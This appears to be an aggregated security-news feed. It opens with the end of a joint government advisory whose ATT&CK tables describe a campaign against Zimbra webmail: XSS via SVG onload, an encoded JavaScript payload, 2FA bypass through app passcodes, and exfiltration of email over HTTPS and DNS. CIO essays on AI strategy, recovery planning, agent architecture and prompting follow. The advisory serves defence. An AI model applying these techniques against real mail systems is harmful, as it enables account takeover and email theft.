    Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
    Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov 
  • Cybersecurity and Infrastructure Security Agency 
    CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472). 
  • Federal Bureau of Investigation 
    If you or someone you know has fallen victim to this campaign, file a complaint with IC3. 
  • Defense Counterintelligence and Security Agency  
    DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil 
    Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. 
    Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil  
  • Department of Defense Cyber Crime Center  
    Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
    Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil 
    Media Inquiries / Press Desk: DC3.Information@us.af.mil 
  • Naval Criminal Investigative Service 
    To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations 

Australian organizations 

  • Australian Signals Directorate 
    Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. 

Canadian organizations 

  • The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  
    Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788). 

New Zealand organizations 

United Kingdom organizations 

Estonia organizations 

Finnish organizations 

French organizations 

  • French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18. 

Italian Organizations 

Moldovan organizations 

  • Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md 

Polish organizations 

Appendix A: MITRE ATT&CK tactics and techniques

See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.

Table 9: Reconnaissance 

Technique Title 

ID 

Use 

Gather Victim Identity Information: Credentials 

T1589.001 

The payload attempts to intercept a victim’s password from their password manager. 

Gather Victim Identity Information: Email Addresses 

T1589.002 

The payload attempts to grab the victim’s email address from various data stores. 

Search Open Websites/Domains 

T1593 

This group likely leverages public information to support target development. 

Active Scanning 

T1595 

Port scanning can be used by this group to assist with determining exploitability of identified targets. 

Search Open Technical Databases: Scan Databases 

T1596.005 

Various public datasets can provide information to support discovery of exploitable targets. 

Search Closed Sources 

T1597 

Previously exfiltrated data can be used to enhance target development efforts. 

Search Closed Sources: Purchase Technical Data 

T1597.002 

Commercial datasets can also be used to support target development efforts. 
Table 10: Resource Development 

Technique Title 

ID 

Use 

Acquire Infrastructure 

T1583 

This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. 

Acquire Infrastructure: Virtual Private Server 

T1583.003 

This group procured VPS servers from a variety of vendors. 

Develop Capabilities 

T1587 

The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns. 

Develop Capabilities: Malware 

T1587.001 

Development of a novel payload that steals a victim’s emails and other sensitive account information. 

Develop Capabilities: Exploits 

T1587.004 

Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. 

Obtain Capabilities: Tool 

T1588.002 

Open source tools, such as Evilginx2, have also been used by the group. 

Obtain Capabilities: Artificial Intelligence 

T1588.007 

The group appears to have leveraged AI to support development efforts. 

Stage Capabilities 

T1608 

Flowerbed is deployed to a procured server in the cloud. 

Table 11: Initial Access 

Technique Title 

ID 

Use 

Valid Accounts 

T1078 

This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  

Trusted Relationship 

T1199 

The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  

Phishing 

T1566 

The actors used spear phishing to lure users into opening malicious email. 

Table 12: Execution 

Technique Title 

ID 

Use 

Exploitation for Client Execution 

T1203 

An XSS vulnerability was leveraged to execute the JavaScript payload. 

Table 13: Persistence 

Technique Title 

ID 

Use 

Account Manipulation 

T1098 

Enabling IMAP and Application Passcodes provides persistent access to the compromised account. 

Modify Authentication Process: Multi-Factor Authentication 

T1556.006 

Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

Table 14: Privilege Escalation 

Technique Title 

ID 

Use 

Valid Accounts 

T1078 

This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  

Table 15: Stealth 

Technique Title 

ID 

Use 

Obfuscated Files or Information: Command Obfuscation 

T1027.010 

Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. 

Obfuscated Files or Information: Encrypted/Encoded File 

T1027.013 

The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. 

Obfuscated Files or Information: SVG Smuggling 

T1027.017 

The payload was contained in an “onload” attribute within an SVG image included in the malicious email. 

Use Alternate Authentication Material: Web Session Cookie 

T1550.004 

Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. 

Table 16: Credential Access 

Technique Title 

ID 

Use 

Modify Authentication Process: Multi-Factor Authentication 

T1556.006 

Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

Adversary-in-the-Middle 

T1557 

Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. 

Table 17: Collection 

Technique Title 

ID 

Use 

Data Staged: Remote Data Staging 

T1074.002 

Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. 

Email Collection 

T1114 

This group has emphasized collection of emails. 

Email Collection: Remote Email Collection 

T1114.002 

Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. 

Automated Collection 

T1119 

Upon execution, the JavaScript payload automatically collects all relevant information in stages. 

Browser Session Hijacking 

T1185 

The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. 

Archive Collected Data 

T1560 

Emails are exfiltrated with GZIP compression. 

Table 18: Discovery 

Technique Title 

ID 

Use 

Account Discovery 

T1087 

Stolen Global Access Lists provide the group with new users to target. 

Table 19: Exfiltration 

Technique Title 

ID 

Use 

Exfiltration Over Alternative Protocol 

T1048 

Victim information was exfiltrated over both HTTPS and DNS. 

Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol 

T1048.002 

Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. 

Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol 

T1048.003 

Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. 

Appendix B: MITRE D3FEND countermeasures

See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

Table 20: MITRE D3FEND Countermeasures 

Countermeasure Title 

ID 

Description 

Application Hardening 

D3-AH 
  • Organizations should immediately prioritize patching CVE-2025-66376.  
  • Organizations should promptly apply software updates to all email systems. 

Isolate 

d3f:Isolate 

Organizations that cannot feasibly patch should use alternative mail clients. 

Credential Hardening 

D3-CH 

Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. 

Network Traffic Analysis 

D3-NTA 

Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. 

DNS Traffic Analysis 

D3-DNSTA 

Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. 

Network Traffic Community Deviation 

D3-NTCD 
  • Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. 
  • Organizations should monitor for connections to internal services, such as webmail, from VPN providers. 

Identifier Activity Analysis 

D3-IAA 

Organizations should search for the listed known IOCs. 

Process Analysis 

D3-PA 
  • Organizations should search ZCS log files for specific commands used by the malicious script. 
  • Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. 
Message Analysis D3-MA Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.
]]> <![CDATA[AI success requires a full-stack CIO]]> https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/ https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/ Sat, 25 Jul 2026 18:57:42 +0200 📰 IT Security Nachrichten tsecurity.de

Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?

It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.

After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.

Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.

I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, influence a board, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.

Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.

While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.

That versatility gives Talasaz a unique lens on how CIOs can deliver value with AI.

Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.

The full-stack CIO: Leading with clarity

A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.

The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.

And those who execute best lead with clarity, Talasaz says.

“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”

One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.

As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.

And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.

“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”

At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.

Reducing organizational friction

Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”

Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?

Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.

AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.

Operating model as strategy enabler

AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.

Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.

“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.

The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.

This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.

Talasaz points out that technology leaders tend to speak in terms of transformation. He suggests CIOs consider a different word: reinvention.

As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.

Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.

Closing the gap between strategy and execution

Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”

As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”

Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.

Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.

The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.

This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.

Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to reach out to me directly.

]]> <![CDATA[Principles every enterprise must test before the attack arrives]]> https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/ https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/ Sat, 25 Jul 2026 18:55:54 +0200 📰 IT Security Nachrichten tsecurity.de

I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.

Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”

This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.

As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:

Recovery is not just a technical exercise

The first assumption to break during a real crisis is the belief that recovery is purely technical.

Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can point to backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.

The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.

Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A recent survey found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.

True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.

Most business continuity plans ignore ‘total blackout’

I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.

Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.

This is also where boards need to change the conversation. A study found that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.

That is the level of clarity leaders need.

The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.

The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.

If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.

Threat intelligence must be actionable, not archived

Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.

If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested before the attack.

Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.

Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.

Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.

Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations now. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]> https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/ https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/ Sat, 25 Jul 2026 18:55:52 +0200 📰 IT Security Nachrichten tsecurity.de

When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.

“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.

“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.

Speaking to a room of tech leaders at the CIO 100 Leadership Live New York event last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:

  • Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.
  • Smarter: The system around the model decides more than the model does.
  • Safer: Verify at the point a mistake gets locked in, not just downstream of it.

He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.

To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.

“The intelligence moves from the model into the architecture around it,” he said.

A steep learning curve

One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.

“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”

In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.

Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.

“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.

Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.

“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”

The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.

“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.

Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.

Routing

Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.

Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.

“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”

Harness

An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.

“It’s the process around the model, which matters way more than the model itself,” Thakrar said.

In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.

For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.

Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.

“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”

But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.

Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.

Specialization

Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.

Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.

“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”

]]> <![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]> https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/ https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/ Sat, 25 Jul 2026 18:55:51 +0200 📰 IT Security Nachrichten tsecurity.de

Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.

Why advanced prompting still matters in enterprise settings

Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.

1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning

The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.

What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.

Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”

After (CoT prompt):

“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  

Results: Accuracy and depth improved dramatically.

Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.

Template you can use:

You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]

2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths

For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.

Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT

Prompt Snippet:

Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.

Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).

When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.

3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior

One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.

ReAct example: (used in data analytics workflow)

You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]

In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.

4. Meta-prompting and self-reflection: Letting the model improve itself

Use the model to refine its own prompt. This is a huge time-saver.

You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.

Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.

5. Multimodal and structured output techniques

With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).

Tip from experience: Be extremely specific in describing what the models should focus on.

Best practices I learned the hard way

